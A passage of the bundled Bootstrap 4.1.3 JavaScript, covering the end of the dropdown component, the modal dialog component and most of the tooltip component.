{\n var toggle = parent.querySelector(Selector.DATA_TOGGLE);\n $$$1(toggle).trigger('focus');\n }\n\n $$$1(this).trigger('click');\n return;\n }\n\n var items = [].slice.call(parent.querySelectorAll(Selector.VISIBLE_ITEMS));\n\n if (items.length === 0) {\n return;\n }\n\n var index = items.indexOf(event.target);\n\n if (event.which === ARROW_UP_KEYCODE && index > 0) {\n // Up\n index--;\n }\n\n if (event.which === ARROW_DOWN_KEYCODE && index < items.length - 1) {\n // Down\n index++;\n }\n\n if (index < 0) {\n index = 0;\n }\n\n items[index].focus();\n };\n\n _createClass(Dropdown, null, [{\n key: \"VERSION\",\n get: function get() {\n return VERSION;\n }\n }, {\n key: \"Default\",\n get: function get() {\n return Default;\n }\n }, {\n key: \"DefaultType\",\n get: function get() {\n return DefaultType;\n }\n }]);\n\n return Dropdown;\n }();\n /**\n * ------------------------------------------------------------------------\n * Data Api implementation\n * ------------------------------------------------------------------------\n */\n\n\n $$$1(document).on(Event.KEYDOWN_DATA_API, Selector.DATA_TOGGLE, Dropdown._dataApiKeydownHandler).on(Event.KEYDOWN_DATA_API, Selector.MENU, Dropdown._dataApiKeydownHandler).on(Event.CLICK_DATA_API + \" \" + Event.KEYUP_DATA_API, Dropdown._clearMenus).on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE, function (event) {\n event.preventDefault();\n event.stopPropagation();\n\n Dropdown._jQueryInterface.call($$$1(this), 'toggle');\n }).on(Event.CLICK_DATA_API, Selector.FORM_CHILD, function (e) {\n e.stopPropagation();\n });\n /**\n * ------------------------------------------------------------------------\n * jQuery\n * ------------------------------------------------------------------------\n */\n\n $$$1.fn[NAME] = Dropdown._jQueryInterface;\n $$$1.fn[NAME].Constructor = Dropdown;\n\n $$$1.fn[NAME].noConflict = function () {\n $$$1.fn[NAME] = JQUERY_NO_CONFLICT;\n return Dropdown._jQueryInterface;\n };\n\n return Dropdown;\n }($, Popper);\n\n /**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.3): modal.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\n var Modal = function ($$$1) {\n /**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n var NAME = 'modal';\n var VERSION = '4.1.3';\n var DATA_KEY = 'bs.modal';\n var EVENT_KEY = \".\" + DATA_KEY;\n var DATA_API_KEY = '.data-api';\n var JQUERY_NO_CONFLICT = $$$1.fn[NAME];\n var ESCAPE_KEYCODE = 27; // KeyboardEvent.which value for Escape (Esc) key\n\n var Default = {\n backdrop: true,\n keyboard: true,\n focus: true,\n show: true\n };\n var DefaultType = {\n backdrop: '(boolean|string)',\n keyboard: 'boolean',\n focus: 'boolean',\n show: 'boolean'\n };\n var Event = {\n HIDE: \"hide\" + EVENT_KEY,\n HIDDEN: \"hidden\" + EVENT_KEY,\n SHOW: \"show\" + EVENT_KEY,\n SHOWN: \"shown\" + EVENT_KEY,\n FOCUSIN: \"focusin\" + EVENT_KEY,\n RESIZE: \"resize\" + EVENT_KEY,\n CLICK_DISMISS: \"click.dismiss\" + EVENT_KEY,\n KEYDOWN_DISMISS: \"keydown.dismiss\" + EVENT_KEY,\n MOUSEUP_DISMISS: \"mouseup.dismiss\" + EVENT_KEY,\n MOUSEDOWN_DISMISS: \"mousedown.dismiss\" + EVENT_KEY,\n CLICK_DATA_API: \"click\" + EVENT_KEY + DATA_API_KEY\n };\n var ClassName = {\n SCROLLBAR_MEASURER: 'modal-scrollbar-measure',\n BACKDROP: 'modal-backdrop',\n OPEN: 'modal-open',\n FADE: 'fade',\n SHOW: 'show'\n };\n var Selector = {\n DIALOG: '.modal-dialog',\n DATA_TOGGLE: '[data-toggle=\"modal\"]',\n DATA_DISMISS: '[data-dismiss=\"modal\"]',\n FIXED_CONTENT: '.fixed-top, .fixed-bottom, .is-fixed, .sticky-top',\n STICKY_CONTENT: '.sticky-top'\n /**\n * ------------------------------------------------------------------------\n * Class Definition\n * ------------------------------------------------------------------------\n */\n\n };\n\n var Modal =\n /*#__PURE__*/\n function () {\n function Modal(element, config) {\n this._config = this._getConfig(config);\n this._element = element;\n this._dialog = element.querySelector(Selector.DIALOG);\n this._backdrop = null;\n this._isShown = false;\n this._isBodyOverflowing = false;\n this._ignoreBackdropClick = false;\n this._scrollbarWidth = 0;\n } // Getters\n\n\n var _proto = Modal.prototype;\n\n // Public\n _proto.toggle = function toggle(relatedTarget) {\n return this._isShown ? this.hide() : this.show(relatedTarget);\n };\n\n _proto.show = function show(relatedTarget) {\n var _this = this;\n\n if (this._isTransitioning || this._isShown) {\n return;\n }\n\n if ($$$1(this._element).hasClass(ClassName.FADE)) {\n this._isTransitioning = true;\n }\n\n var showEvent = $$$1.Event(Event.SHOW, {\n relatedTarget: relatedTarget\n });\n $$$1(this._element).trigger(showEvent);\n\n if (this._isShown || showEvent.isDefaultPrevented()) {\n return;\n }\n\n this._isShown = true;\n\n this._checkScrollbar();\n\n this._setScrollbar();\n\n this._adjustDialog();\n\n $$$1(document.body).addClass(ClassName.OPEN);\n\n this._setEscapeEvent();\n\n this._setResizeEvent();\n\n $$$1(this._element).on(Event.CLICK_DISMISS, Selector.DATA_DISMISS, function (event) {\n return _this.hide(event);\n });\n $$$1(this._dialog).on(Event.MOUSEDOWN_DISMISS, function () {\n $$$1(_this._element).one(Event.MOUSEUP_DISMISS, function (event) {\n if ($$$1(event.target).is(_this._element)) {\n _this._ignoreBackdropClick = true;\n }\n });\n });\n\n this._showBackdrop(function () {\n return _this._showElement(relatedTarget);\n });\n };\n\n _proto.hide = function hide(event) {\n var _this2 = this;\n\n if (event) {\n event.preventDefault();\n }\n\n if (this._isTransitioning || !this._isShown) {\n return;\n }\n\n var hideEvent = $$$1.Event(Event.HIDE);\n $$$1(this._element).trigger(hideEvent);\n\n if (!this._isShown || hideEvent.isDefaultPrevented()) {\n return;\n }\n\n this._isShown = false;\n var transition = $$$1(this._element).hasClass(ClassName.FADE);\n\n if (transition) {\n this._isTransitioning = true;\n }\n\n this._setEscapeEvent();\n\n this._setResizeEvent();\n\n $$$1(document).off(Event.FOCUSIN);\n $$$1(this._element).removeClass(ClassName.SHOW);\n $$$1(this._element).off(Event.CLICK_DISMISS);\n $$$1(this._dialog).off(Event.MOUSEDOWN_DISMISS);\n\n if (transition) {\n var transitionDuration = Util.getTransitionDurationFromElement(this._element);\n $$$1(this._element).one(Util.TRANSITION_END, function (event) {\n return _this2._hideModal(event);\n }).emulateTransitionEnd(transitionDuration);\n } else {\n this._hideModal();\n }\n };\n\n _proto.dispose = function dispose() {\n $$$1.removeData(this._element, DATA_KEY);\n $$$1(window, document, this._element, this._backdrop).off(EVENT_KEY);\n this._config = null;\n this._element = null;\n this._dialog = null;\n this._backdrop = null;\n this._isShown = null;\n this._isBodyOverflowing = null;\n this._ignoreBackdropClick = null;\n this._scrollbarWidth = null;\n };\n\n _proto.handleUpdate = function handleUpdate() {\n this._adjustDialog();\n }; // Private\n\n\n _proto._getConfig = function _getConfig(config) {\n config = _objectSpread({}, Default, config);\n Util.typeCheckConfig(NAME, config, DefaultType);\n return config;\n };\n\n _proto._showElement = function _showElement(relatedTarget) {\n var _this3 = this;\n\n var transition = $$$1(this._element).hasClass(ClassName.FADE);\n\n if (!this._element.parentNode || this._element.parentNode.nodeType !== Node.ELEMENT_NODE) {\n // Don't move modal's DOM position\n document.body.appendChild(this._element);\n }\n\n this._element.style.display = 'block';\n\n this._element.removeAttribute('aria-hidden');\n\n this._element.scrollTop = 0;\n\n if (transition) {\n Util.reflow(this._element);\n }\n\n $$$1(this._element).addClass(ClassName.SHOW);\n\n if (this._config.focus) {\n this._enforceFocus();\n }\n\n var shownEvent = $$$1.Event(Event.SHOWN, {\n relatedTarget: relatedTarget\n });\n\n var transitionComplete = function transitionComplete() {\n if (_this3._config.focus) {\n _this3._element.focus();\n }\n\n _this3._isTransitioning = false;\n $$$1(_this3._element).trigger(shownEvent);\n };\n\n if (transition) {\n var transitionDuration = Util.getTransitionDurationFromElement(this._element);\n $$$1(this._dialog).one(Util.TRANSITION_END, transitionComplete).emulateTransitionEnd(transitionDuration);\n } else {\n transitionComplete();\n }\n };\n\n _proto._enforceFocus = function _enforceFocus() {\n var _this4 = this;\n\n $$$1(document).off(Event.FOCUSIN) // Guard against infinite focus loop\n .on(Event.FOCUSIN, function (event) {\n if (document !== event.target && _this4._element !== event.target && $$$1(_this4._element).has(event.target).length === 0) {\n _this4._element.focus();\n }\n });\n };\n\n _proto._setEscapeEvent = function _setEscapeEvent() {\n var _this5 = this;\n\n if (this._isShown && this._config.keyboard) {\n $$$1(this._element).on(Event.KEYDOWN_DISMISS, function (event) {\n if (event.which === ESCAPE_KEYCODE) {\n event.preventDefault();\n\n _this5.hide();\n }\n });\n } else if (!this._isShown) {\n $$$1(this._element).off(Event.KEYDOWN_DISMISS);\n }\n };\n\n _proto._setResizeEvent = function _setResizeEvent() {\n var _this6 = this;\n\n if (this._isShown) {\n $$$1(window).on(Event.RESIZE, function (event) {\n return _this6.handleUpdate(event);\n });\n } else {\n $$$1(window).off(Event.RESIZE);\n }\n };\n\n _proto._hideModal = function _hideModal() {\n var _this7 = this;\n\n this._element.style.display = 'none';\n\n this._element.setAttribute('aria-hidden', true);\n\n this._isTransitioning = false;\n\n this._showBackdrop(function () {\n $$$1(document.body).removeClass(ClassName.OPEN);\n\n _this7._resetAdjustments();\n\n _this7._resetScrollbar();\n\n $$$1(_this7._element).trigger(Event.HIDDEN);\n });\n };\n\n _proto._removeBackdrop = function _removeBackdrop() {\n if (this._backdrop) {\n $$$1(this._backdrop).remove();\n this._backdrop = null;\n }\n };\n\n _proto._showBackdrop = function _showBackdrop(callback) {\n var _this8 = this;\n\n var animate = $$$1(this._element).hasClass(ClassName.FADE) ? ClassName.FADE : '';\n\n if (this._isShown && this._config.backdrop) {\n this._backdrop = document.createElement('div');\n this._backdrop.className = ClassName.BACKDROP;\n\n if (animate) {\n this._backdrop.classList.add(animate);\n }\n\n $$$1(this._backdrop).appendTo(document.body);\n $$$1(this._element).on(Event.CLICK_DISMISS, function (event) {\n if (_this8._ignoreBackdropClick) {\n _this8._ignoreBackdropClick = false;\n return;\n }\n\n if (event.target !== event.currentTarget) {\n return;\n }\n\n if (_this8._config.backdrop === 'static') {\n _this8._element.focus();\n } else {\n _this8.hide();\n }\n });\n\n if (animate) {\n Util.reflow(this._backdrop);\n }\n\n $$$1(this._backdrop).addClass(ClassName.SHOW);\n\n if (!callback) {\n return;\n }\n\n if (!animate) {\n callback();\n return;\n }\n\n var backdropTransitionDuration = Util.getTransitionDurationFromElement(this._backdrop);\n $$$1(this._backdrop).one(Util.TRANSITION_END, callback).emulateTransitionEnd(backdropTransitionDuration);\n } else if (!this._isShown && this._backdrop) {\n $$$1(this._backdrop).removeClass(ClassName.SHOW);\n\n var callbackRemove = function callbackRemove() {\n _this8._removeBackdrop();\n\n if (callback) {\n callback();\n }\n };\n\n if ($$$1(this._element).hasClass(ClassName.FADE)) {\n var _backdropTransitionDuration = Util.getTransitionDurationFromElement(this._backdrop);\n\n $$$1(this._backdrop).one(Util.TRANSITION_END, callbackRemove).emulateTransitionEnd(_backdropTransitionDuration);\n } else {\n callbackRemove();\n }\n } else if (callback) {\n callback();\n }\n }; // ----------------------------------------------------------------------\n // the following methods are used to handle overflowing modals\n // todo (fat): these should probably be refactored out of modal.js\n // ----------------------------------------------------------------------\n\n\n _proto._adjustDialog = function _adjustDialog() {\n var isModalOverflowing = this._element.scrollHeight > document.documentElement.clientHeight;\n\n if (!this._isBodyOverflowing && isModalOverflowing) {\n this._element.style.paddingLeft = this._scrollbarWidth + \"px\";\n }\n\n if (this._isBodyOverflowing && !isModalOverflowing) {\n this._element.style.paddingRight = this._scrollbarWidth + \"px\";\n }\n };\n\n _proto._resetAdjustments = function _resetAdjustments() {\n this._element.style.paddingLeft = '';\n this._element.style.paddingRight = '';\n };\n\n _proto._checkScrollbar = function _checkScrollbar() {\n var rect = document.body.getBoundingClientRect();\n this._isBodyOverflowing = rect.left + rect.right < window.innerWidth;\n this._scrollbarWidth = this._getScrollbarWidth();\n };\n\n _proto._setScrollbar = function _setScrollbar() {\n var _this9 = this;\n\n if (this._isBodyOverflowing) {\n // Note: DOMNode.style.paddingRight returns the actual value or '' if not set\n // while $(DOMNode).css('padding-right') returns the calculated value or 0 if not set\n var fixedContent = [].slice.call(document.querySelectorAll(Selector.FIXED_CONTENT));\n var stickyContent = [].slice.call(document.querySelectorAll(Selector.STICKY_CONTENT)); // Adjust fixed content padding\n\n $$$1(fixedContent).each(function (index, element) {\n var actualPadding = element.style.paddingRight;\n var calculatedPadding = $$$1(element).css('padding-right');\n $$$1(element).data('padding-right', actualPadding).css('padding-right', parseFloat(calculatedPadding) + _this9._scrollbarWidth + \"px\");\n }); // Adjust sticky content margin\n\n $$$1(stickyContent).each(function (index, element) {\n var actualMargin = element.style.marginRight;\n var calculatedMargin = $$$1(element).css('margin-right');\n $$$1(element).data('margin-right', actualMargin).css('margin-right', parseFloat(calculatedMargin) - _this9._scrollbarWidth + \"px\");\n }); // Adjust body padding\n\n var actualPadding = document.body.style.paddingRight;\n var calculatedPadding = $$$1(document.body).css('padding-right');\n $$$1(document.body).data('padding-right', actualPadding).css('padding-right', parseFloat(calculatedPadding) + this._scrollbarWidth + \"px\");\n }\n };\n\n _proto._resetScrollbar = function _resetScrollbar() {\n // Restore fixed content padding\n var fixedContent = [].slice.call(document.querySelectorAll(Selector.FIXED_CONTENT));\n $$$1(fixedContent).each(function (index, element) {\n var padding = $$$1(element).data('padding-right');\n $$$1(element).removeData('padding-right');\n element.style.paddingRight = padding ? padding : '';\n }); // Restore sticky content\n\n var elements = [].slice.call(document.querySelectorAll(\"\" + Selector.STICKY_CONTENT));\n $$$1(elements).each(function (index, element) {\n var margin = $$$1(element).data('margin-right');\n\n if (typeof margin !== 'undefined') {\n $$$1(element).css('margin-right', margin).removeData('margin-right');\n }\n }); // Restore body padding\n\n var padding = $$$1(document.body).data('padding-right');\n $$$1(document.body).removeData('padding-right');\n document.body.style.paddingRight = padding ? padding : '';\n };\n\n _proto._getScrollbarWidth = function _getScrollbarWidth() {\n // thx d.walsh\n var scrollDiv = document.createElement('div');\n scrollDiv.className = ClassName.SCROLLBAR_MEASURER;\n document.body.appendChild(scrollDiv);\n var scrollbarWidth = scrollDiv.getBoundingClientRect().width - scrollDiv.clientWidth;\n document.body.removeChild(scrollDiv);\n return scrollbarWidth;\n }; // Static\n\n\n Modal._jQueryInterface = function _jQueryInterface(config, relatedTarget) {\n return this.each(function () {\n var data = $$$1(this).data(DATA_KEY);\n\n var _config = _objectSpread({}, Default, $$$1(this).data(), typeof config === 'object' && config ? config : {});\n\n if (!data) {\n data = new Modal(this, _config);\n $$$1(this).data(DATA_KEY, data);\n }\n\n if (typeof config === 'string') {\n if (typeof data[config] === 'undefined') {\n throw new TypeError(\"No method named \\\"\" + config + \"\\\"\");\n }\n\n data[config](relatedTarget);\n } else if (_config.show) {\n data.show(relatedTarget);\n }\n });\n };\n\n _createClass(Modal, null, [{\n key: \"VERSION\",\n get: function get() {\n return VERSION;\n }\n }, {\n key: \"Default\",\n get: function get() {\n return Default;\n }\n }]);\n\n return Modal;\n }();\n /**\n * ------------------------------------------------------------------------\n * Data Api implementation\n * ------------------------------------------------------------------------\n */\n\n\n $$$1(document).on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE, function (event) {\n var _this10 = this;\n\n var target;\n var selector = Util.getSelectorFromElement(this);\n\n if (selector) {\n target = document.querySelector(selector);\n }\n\n var config = $$$1(target).data(DATA_KEY) ? 'toggle' : _objectSpread({}, $$$1(target).data(), $$$1(this).data());\n\n if (this.tagName === 'A' || this.tagName === 'AREA') {\n event.preventDefault();\n }\n\n var $target = $$$1(target).one(Event.SHOW, function (showEvent) {\n if (showEvent.isDefaultPrevented()) {\n // Only register focus restorer if modal will actually get shown\n return;\n }\n\n $target.one(Event.HIDDEN, function () {\n if ($$$1(_this10).is(':visible')) {\n _this10.focus();\n }\n });\n });\n\n Modal._jQueryInterface.call($$$1(target), config, this);\n });\n /**\n * ------------------------------------------------------------------------\n * jQuery\n * ------------------------------------------------------------------------\n */\n\n $$$1.fn[NAME] = Modal._jQueryInterface;\n $$$1.fn[NAME].Constructor = Modal;\n\n $$$1.fn[NAME].noConflict = function () {\n $$$1.fn[NAME] = JQUERY_NO_CONFLICT;\n return Modal._jQueryInterface;\n };\n\n return Modal;\n }($);\n\n /**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.3): tooltip.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\n var Tooltip = function ($$$1) {\n /**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n var NAME = 'tooltip';\n var VERSION = '4.1.3';\n var DATA_KEY = 'bs.tooltip';\n var EVENT_KEY = \".\" + DATA_KEY;\n var JQUERY_NO_CONFLICT = $$$1.fn[NAME];\n var CLASS_PREFIX = 'bs-tooltip';\n var BSCLS_PREFIX_REGEX = new RegExp(\"(^|\\\\s)\" + CLASS_PREFIX + \"\\\\S+\", 'g');\n var DefaultType = {\n animation: 'boolean',\n template: 'string',\n title: '(string|element|function)',\n trigger: 'string',\n delay: '(number|object)',\n html: 'boolean',\n selector: '(string|boolean)',\n placement: '(string|function)',\n offset: '(number|string)',\n container: '(string|element|boolean)',\n fallbackPlacement: '(string|array)',\n boundary: '(string|element)'\n };\n var AttachmentMap = {\n AUTO: 'auto',\n TOP: 'top',\n RIGHT: 'right',\n BOTTOM: 'bottom',\n LEFT: 'left'\n };\n var Default = {\n animation: true,\n template: '<div class=\"tooltip\" role=\"tooltip\">' + '<div class=\"arrow\"></div>' + '<div class=\"tooltip-inner\"></div></div>',\n trigger: 'hover focus',\n title: '',\n delay: 0,\n html: false,\n selector: false,\n placement: 'top',\n offset: 0,\n container: false,\n fallbackPlacement: 'flip',\n boundary: 'scrollParent'\n };\n var HoverState = {\n SHOW: 'show',\n OUT: 'out'\n };\n var Event = {\n HIDE: \"hide\" + EVENT_KEY,\n HIDDEN: \"hidden\" + EVENT_KEY,\n SHOW: \"show\" + EVENT_KEY,\n SHOWN: \"shown\" + EVENT_KEY,\n INSERTED: \"inserted\" + EVENT_KEY,\n CLICK: \"click\" + EVENT_KEY,\n FOCUSIN: \"focusin\" + EVENT_KEY,\n FOCUSOUT: \"focusout\" + EVENT_KEY,\n MOUSEENTER: \"mouseenter\" + EVENT_KEY,\n MOUSELEAVE: \"mouseleave\" + EVENT_KEY\n };\n var ClassName = {\n FADE: 'fade',\n SHOW: 'show'\n };\n var Selector = {\n TOOLTIP: '.tooltip',\n TOOLTIP_INNER: '.tooltip-inner',\n ARROW: '.arrow'\n };\n var Trigger = {\n HOVER: 'hover',\n FOCUS: 'focus',\n CLICK: 'click',\n MANUAL: 'manual'\n /**\n * ------------------------------------------------------------------------\n * Class Definition\n * ------------------------------------------------------------------------\n */\n\n };\n\n var Tooltip =\n /*#__PURE__*/\n function () {\n function Tooltip(element, config) {\n /**\n * Check for Popper dependency\n * Popper - https://popper.js.org\n */\n if (typeof Popper === 'undefined') {\n throw new TypeError('Bootstrap tooltips require Popper.js (https://popper.js.org)');\n } // private\n\n\n this._isEnabled = true;\n this._timeout = 0;\n this._hoverState = '';\n this._activeTrigger = {};\n this._popper = null; // Protected\n\n this.element = element;\n this.config = this._getConfig(config);\n this.tip = null;\n\n this._setListeners();\n } // Getters\n\n\n var _proto = Tooltip.prototype;\n\n // Public\n _proto.enable = function enable() {\n this._isEnabled = true;\n };\n\n _proto.disable = function disable() {\n this._isEnabled = false;\n };\n\n _proto.toggleEnabled = function toggleEnabled() {\n this._isEnabled = !this._isEnabled;\n };\n\n _proto.toggle = function toggle(event) {\n if (!this._isEnabled) {\n return;\n }\n\n if (event) {\n var dataKey = this.constructor.DATA_KEY;\n var context = $$$1(event.currentTarget).data(dataKey);\n\n if (!context) {\n context = new this.constructor(event.currentTarget, this._getDelegateConfig());\n $$$1(event.currentTarget).data(dataKey, context);\n }\n\n context._activeTrigger.click = !context._activeTrigger.click;\n\n if (context._isWithActiveTrigger()) {\n context._enter(null, context);\n } else {\n context._leave(null, context);\n }\n } else {\n if ($$$1(this.getTipElement()).hasClass(ClassName.SHOW)) {\n this._leave(null, this);\n\n return;\n }\n\n this._enter(null, this);\n }\n };\n\n _proto.dispose = function dispose() {\n clearTimeout(this._timeout);\n $$$1.removeData(this.element, this.constructor.DATA_KEY);\n $$$1(this.element).off(this.constructor.EVENT_KEY);\n $$$1(this.element).closest('.modal').off('hide.bs.modal');\n\n if (this.tip) {\n $$$1(this.tip).remove();\n }\n\n this._isEnabled = null;\n this._timeout = null;\n this._hoverState = null;\n this._activeTrigger = null;\n\n if (this._popper !== null) {\n this._popper.destroy();\n }\n\n this._popper = null;\n this.element = null;\n this.config = null;\n this.tip = null;\n };\n\n _proto.show = function show() {\n var _this = this;\n\n if ($$$1(this.element).css('display') === 'none') {\n throw new Error('Please use show on visible elements');\n }\n\n var showEvent = $$$1.Event(this.constructor.Event.SHOW);\n\n if (this.isWithContent() && this._isEnabled) {\n $$$1(this.element).trigger(showEvent);\n var isInTheDom = $$$1.contains(this.element.ownerDocument.documentElement, this.element);\n\n if (showEvent.isDefaultPrevented() || !isInTheDom) {\n return;\n }\n\n var tip = this.getTipElement();\n var tipId = Util.getUID(this.constructor.NAME);\n tip.setAttribute('id', tipId);\n this.element.setAttribute('aria-describedby', tipId);\n this.setContent();\n\n if (this.config.animation) {\n $$$1(tip).addClass(ClassName.FADE);\n }\n\n var placement = typeof this.config.placement === 'function' ? this.config.placement.call(this, tip, this.element) : this.config.placement;\n\n var attachment = this._getAttachment(placement);\n\n this.addAttachmentClass(attachment);\n var container = this.config.container === false ? document.body : $$$1(document).find(this.config.container);\n $$$1(tip).data(this.constructor.DATA_KEY, this);\n\n if (!$$$1.contains(this.element.ownerDocument.documentElement, this.tip)) {\n $$$1(tip).appendTo(container);\n }\n\n $$$1(this.element).trigger(this.constructor.Event.INSERTED);\n this._popper = new Popper(this.element, tip, {\n placement: attachment,\n modifiers: {\n offset: {\n offset: this.config.offset\n },\n flip: {\n behavior: this.config.fallbackPlacement\n },\n arrow: {\n element: Selector.ARROW\n },\n preventOverflow: {\n boundariesElement: this.config.boundary\n }\n },\n onCreate: function onCreate(data) {\n if (data.originalPlacement !== data.placement) {\n _this._handlePopperPlacementChange(data);\n }\n },\n onUpdate: function onUpdate(data) {\n _this._handlePopperPlacementChange(data);\n }\n });\n $$$1(tip).addClass(ClassName.SHOW); // If this is a touch-enabled device we add extra\n // empty mouseover listeners to the body's immediate children;\n // only needed because of broken event delegation on iOS\n // https://www.quirksmode.org/blog/archives/2014/02/mouse_event_bub.html\n\n if ('ontouchstart' in document.documentElement) {\n $$$1(document.body).children().on('mouseover', null, $$$1.noop);\n }\n\n var complete = function complete() {\n if (_this.config.animation) {\n _this._fixTransition();\n }\n\n var prevHoverState = _this._hoverState;\n _this._hoverState = null;\n $$$1(_this.element).trigger(_this.constructor.Event.SHOWN);\n\n if (prevHoverState === HoverState.OUT) {\n _this._leave(null, _this);\n }\n };\n\n if ($$$1(this.tip).hasClass(ClassName.FADE)) {\n var transitionDuration = Util.getTransitionDurationFromElement(this.tip);\n $$$1(this.tip).one(Util.TRANSITION_END, complete).emulateTransitionEnd(transitionDuration);\n } else {\n complete();\n }\n }\n };\n\n _proto.hide = function hide(callback) {\n var _this2 = this;\n\n var tip = this.getTipElement();\n var hideEvent = $$$1.Event(this.constructor.Event.HIDE);\n\n var complete = function complete() {\n if (_this2._hoverState !== HoverState.SHOW && tip.parentNode) {\n tip.parentNode.removeChild(tip);\n }\n\n _this2._cleanTipClass();\n\n _this2.element.removeAttribute('aria-describedby');\n\n $$$1(_this2.element).trigger(_this2.constructor.Event.HIDDEN);\n\n if (_this2._popper !== null) {\n _this2._popper.destroy();\n }\n\n if (callback) {\n callback();\n }\n };\n\n $$$1(this.element).trigger(hideEvent);\n\n if (hideEvent.isDefaultPrevented()) {\n return;\n }\n\n $$$1(tip).removeClass(ClassName.SHOW); // If this is a touch-enabled device we remove the extra\n // empty mouseover listeners we added for iOS support\n\n if ('ontouchstart' in document.documentElement) {\n $$$1(document.body).children().off('mouseover', null, $$$1.noop);\n }\n\n this._activeTrigger[Trigger.CLICK] = false;\n this._activeTrigger[Trigger.FOCUS] = false;\n this._activeTrigger[Trigger.HOVER] = false;\n\n if ($$$1(this.tip).hasClass(ClassName.FADE)) {\n var transitionDuration = Util.getTransitionDurationFromElement(tip);\n $$$1(tip).one(Util.TRANSITION_END, complete).emulateTransitionEnd(transitionDuration);\n } else {\n complete();\n }\n\n this._hoverState = '';\n };\n\n _proto.update = function update() {\n if (this._popper !== null) {\n this._popper.scheduleUpdate();\n }\n }; // Protected\n\n\n _proto.isWithContent = function isWithContent() {\n return Boolean(this.getTitle());\n };\n\n _proto.addAttachmentClass = function addAttachmentClass(attachment) {\n $$$1(this.getTipElement()).addClass(CLASS_PREFIX + \"-\" + attachment);\n };\n\n _proto.getTipElement = function getTipElement() {\n this.tip = this.tip || $$$1(this.config.template)[0];\n return this.tip;\n };\n\n _proto.setContent = function setContent() {\n var tip = this.getTipElement();\n this.setElementContent($$$1(tip.querySelectorAll(Selector.TOOLTIP_INNER)), this.getTitle());\n $$$1(tip).removeClass(ClassName.FADE + \" \" + ClassName.SHOW);\n };\n\n _proto.setElementContent = function setElementContent($element, content) {\n var html = this.config.html;\n\n if (typeof content === 'object' && (content.nodeType || content.jquery)) {\n // Content is a DOM node or a jQuery\n if (html) {\n if (!$$$1(content).parent().is($element)) {\n $element.empty().append(content);\n }\n } else {\n $element.text($$$1(content).text());\n }\n } else {\n $element[html ? 'html' : 'text'](content);\n }\n };\n\n _proto.getTitle = function getTitle() {\n var title = this.element.getAttribute('data-original-title');\n\n if (!title) {\n title = typeof this.config.title === 'function' ? this.config.title.call(this.element) : this.config.title;\n }\n\n return title;\n }; // Private\n\n\n _proto._getAttachment = function _getAttachment(placement) {\n return AttachmentMap[placement.toUpperCase()];\n };\n\n _proto._setListeners = function _setListeners() {\n var _this3 = this;\n\n var triggers = this.config.trigger.split(' ');\n triggers.forEach(function (trigger) {\n if (trigger === 'click') {\n $$$1(_this3.element).on(_this3.constructor.Event.CLICK, _this3.config.selector, function (event) {\n return _this3.toggle(event);\n });\n } else if (trigger !== Trigger.MANUAL) {\n var eventIn = trigger === Trigger.HOVER ? _this3.constructor.Event.MOUSEENTER : _this3.constructor.Event.FOCUSIN;\n var eventOut = trigger === Trigger.HOVER ? _this3.constructor.Event.MOUSELEAVE : _this3.constructor.Event.FOCUSOUT;\n $$$1(_this3.element).on(eventIn, _this3.config.selector, function (event) {\n return _this3._enter(event);\n }).on(eventOut, _this3.config.selector, function (event) {\n return _this3._leave(event);\n });\n }\n\n $$$1(_this3.element).closest('.modal').on('hide.bs.modal', function () {\n return _this3.hide();\n });\n });\n\n if (this.config.selector) {\n this.config = _objectSpread({}, this.config, {\n trigger: 'manual',\n selector: ''\n });\n } else {\n this._fixTitle();\n }\n };\n\n _proto._fixTitle = function _fixTitle() {\n var titleType = typeof this.element.getAttribute('data-original-title');\n\n if (this.element.getAttribute('title') || titleType !== 'string') {\n this.element.setAttribute('data-original-title', this.element.getAttribute('title') || '');\n this.element.setAttribute('title', '');\n }\n };\n\n _proto._enter = function _enter(event, context) {\n var dataKey = this.constructor.DATA_KEY;\n context = context || $$$1(event.currentTarget).data(dataKey);\n\n if (!context) {\n context = new this.constructor(event.currentTarget, this._getDelegateConfig());\n $$$1(event.currentTarget).data(dataKey, context);\n }\n\n if (event) {\n context._activeTrigger[event.type === 'focusin' ? Trigger.FOCUS : Trigger.HOVER] = true;\n }\n\n if ($$$1(context.getTipElement()).hasClass(ClassName.SHOW) || context._hoverState === HoverState.SHOW) {\n context._hoverState = HoverState.SHOW;\n return;\n }\n\n clearTimeout(context._timeout);\n context._hoverState = HoverState.SHOW;\n\n if (!context.config.delay || !context.config.delay.show) {\n context.show();\n return;\n }\n\n context._timeout = setTimeout(function () {\n if (context._hoverState === HoverState.SHOW) {\n context.show();\n }\n }, context.config.delay.show);\n };\n\n _proto._leave = function _leave(event, context) {\n var dataKey = this.constructor.DATA_KEY;\n context = context || $$$1(event.currentTarget).data(dataKey);\n\n if (!context) {\n context = new this.constructor(event.currentTarget, this._getDelegateConfig());\n $$$1(event.currentTarget).data(dataKey, context);\n }\n\n if (event) {\n context._activeTrigger[event.type === 'focusout' ? Trigger.FOCUS : Trigger.HOVER] = false;\n }\n\n if (context._isWithActiveTrigger()) {\n return;\n }\n\n clearTimeout(context._timeout);\n context._hoverState = HoverState.OUT;\n\n if (!context.config.delay || !context.config.delay.hide) {\n context.hide();\n return;\n }\n\n context._timeout = setTimeout(function () {\n if (context._hoverState === HoverState.OUT) {\n context.hide();\n }\n }, context.config.delay.hide);\n };\n\n _proto._isWithActiveTrigger = function _isWithActiveTrigger() {\n for (var trigger in this._activeTrigger) {\n if (this._activeTrigger[trigger]) {\n return true;\n }\n }\n\n return false;\n };\n\n _proto._getConfig = function _getConfig(config) {\n config = _objectSpread({}, this.constructor.Default, $$$1(this.element).data(), typeof config === 'object' && config ? config : {});\n\n if (typeof config.delay === 'number') {\n config.delay = {\n show: config.delay,\n hide: config.delay\n };\n }\n\n if (typeof config.title === 'number') {\n config.title = config.title.toString();\n }\n\n if (typeof config.content === 'number') {\n config.content = config.content.toString();\n }\n\n Util.typeCheckConfig(NAME, config, this.constructor.DefaultType);\n return config;\n };\n\n 